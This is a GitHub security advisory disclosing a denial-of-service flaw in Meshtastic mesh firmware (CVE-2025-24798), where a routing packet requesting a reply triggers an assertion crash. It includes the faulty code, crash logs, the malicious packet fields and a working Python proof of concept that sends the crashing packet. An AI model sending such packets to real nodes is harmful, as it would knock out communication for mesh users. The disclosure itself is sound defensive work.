Skip to content

Unimplemented routing module reply causes crash

Moderate
garthvh published GHSA-4q84-546j-3mf5 Jul 10, 2025

Package

No package listed

Affected versions

>= 1.2.1

Patched versions

2.6.2

Description

Summary

A packet sent to the routing module that contains want_response==true causes a crash. This can lead to a degradation of service for nodes within range of a malicious sender, or via MQTT if downlink is enabled.

Details

// We only consider making replies if the request was a legit routing packet (not just something we were sniffing)
if (currentRequest->decoded.portnum == meshtastic_PortNum_ROUTING_APP) {
assert(0); // 1.2 refactoring fixme, Not sure if anything needs this yet?
// return allocDataProtobuf(u);
}

This was first introduced in 1.2.1: 1.1.50...1.2.1

0 0x7fc9e611400b in raise (libc.so.6+0x4300b) (BuildId: 0702430aef5fa3dda43986563e9ffcc47efbd75e)
#1 0x7fc9e60f3858 in abort (libc.so.6+0x22858) (BuildId: 0702430aef5fa3dda43986563e9ffcc47efbd75e)
#2 0x7fc9e60f3728  (libc.so.6+0x22728) (BuildId: 0702430aef5fa3dda43986563e9ffcc47efbd75e)
#3 0x7fc9e6104fd5 in __assert_fail (libc.so.6+0x33fd5) (BuildId: 0702430aef5fa3dda43986563e9ffcc47efbd75e)
#4 0x56495f5a4adf in RoutingModule::allocReply() src/modules/RoutingModule.cpp:46:9
#5 0x56495f47a60c in MeshModule::sendResponse(_meshtastic_MeshPacket const&) src/mesh/MeshModule.cpp:210:14
#6 0x56495f4799c7 in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:148:24
#7 0x56495f526dd2 in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:621:9
#8 0x56495f5252c4 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:684:5
#9 0x56495f5243cb in Router::runOnce() src/mesh/Router.cpp:70:9
#10 0x56495f51cdf2 in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79:37
#11 0x56495f36e83a in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85:21
#14 0x56495f7d58d6 in portduino_main /root/.platformio/packages/framework-portduino/cores/portduino/main.cpp:180:7
#12 0x56495f6aad40 in ThreadController::runOrDelay() .pio/libdeps/buildroot/Thread/ThreadController.cpp:59:8
#13 0x56495f44571d in loop src/main.cpp:1274:37
DEBUG | 06:02:30 14 [ServerAPI] Lora RX (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP)
DEBUG | 06:02:30 14 [ServerAPI] Packet RX: 411ms
INFO  | 06:02:30 14 [ServerAPI] Disconnect from phone
DEBUG | 06:02:30 14 [ServerAPI] PhoneAPI::close()
DEBUG | 06:02:30 14 [Router] Add packet record (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP)
DEBUG | 06:02:30 14 [Router] handleReceived(REMOTE) (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP rxtime=1736229750)
DEBUG | 06:02:30 14 [Router] Module 'routing' wantsPacket=1
INFO  | 06:02:30 14 [Router] Received routing from=0x9, id=0x6, portnum=5, payloadlen=2
DEBUG | 06:02:30 14 [Router] Routing sniffing (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP rxtime=1736229750)
DEBUG | 06:02:30 14 [Router] Delivering rx packet (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP rxtime=1736229750)
DEBUG | 06:02:30 14 [Router] Update DB node 0x9, rx_time=1736229750
INFO  | 06:02:30 14 [Router] Adding node to database with 2 nodes and 4294967295 bytes free!
INFO  | 06:02:30 14 [Router] Heard new node on ch. 0, send NodeInfo and ask for response
INFO  | 06:02:30 14 [Router] Send owner !04e1c43b/Meshtastic c43b/c43b
DEBUG | 06:02:30 14 [Router] Initial packet id 917327548
DEBUG | 06:02:30 14 [Router] Partially randomized packet id 1618382525
DEBUG | 06:02:30 14 [Router] Update DB node 0x4e1c43b, rx_time=1736229750
DEBUG | 06:02:30 14 [Router] localSend to channel 0
DEBUG | 06:02:30 14 [Router] Add packet record (id=0x60768ebd fr=0x04e1c43b to=0x00000009, WantAck=0, HopLim=3 Ch=0x0 Portnum=4 WANTRESP rxtime=1736229750 priority=10)
DEBUG | 06:02:30 14 [Router] Expand short PSK #1
DEBUG | 06:02:30 14 [Router] Use AES128 key!
DEBUG | 06:02:30 14 [Router] enqueuing for send (id=0x60768ebd fr=0x04e1c43b to=0x00000009, WantAck=0, HopLim=3 Ch=0x8 encrypted len=102 rxtime=1736229750 hopStart=3 priority=10)
DEBUG | 06:02:30 14 [Router] Set random delay before tx
DEBUG | 06:02:30 14 [Router] Forwarding to phone (id=0x00000006 fr=0x00000009 to=0x04e1c43b, WantAck=0, HopLim=0 Ch=0x0 Portnum=5 WANTRESP rxtime=1736229750)
program: src/modules/RoutingModule.cpp:46: virtual meshtastic_MeshPacket* RoutingModule::allocReply(): Assertion `0' failed.
Aborted (core dumped)

PoC

MeshPacket

to: NODE_ID
from: 9
channel: 1
decoded {
  portnum: ROUTING_APP
  payload: "\030\010" (error_reason=NO_RESPONSE)
  want_response: true
}
id: 6

The packet simulator interface can be run with the python code below to reproduce the issue.

platformio run --environment native
.pio/build/native/program
from meshtastic import BROADCAST_NUM, tcp_interface
from meshtastic.protobuf import mesh_pb2, portnums_pb2

iface = tcp_interface.TCPInterface("localhost")

crash = mesh_pb2.MeshPacket(
    to=BROADCAST_NUM,
    id=6,
    decoded=mesh_pb2.Data(
        portnum=portnums_pb2.PortNum.SIMULATOR_APP,
        payload=mesh_pb2.Compressed(
            portnum=portnums_pb2.PortNum.ROUTING_APP,
            data=mesh_pb2.Routing(
                error_reason=mesh_pb2.Routing.NO_RESPONSE,
            ).SerializeToString(),
        ).SerializeToString(),
        want_response=True,
    ),
    **{"from":9},
)

toRadio = mesh_pb2.ToRadio()
toRadio.packet.CopyFrom(crash)
iface._sendToRadio(toRadio)

Impact

If sent as a broadcast packet, nearby nodes may crash resulting in degradation of service. If sent via MQTT it could impact any devices with downlink enabled that are on the same MQTT topic.

Shoutout

Also reported by @oseiler2 before release.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2025-24798

Weaknesses

No CWEs

Credits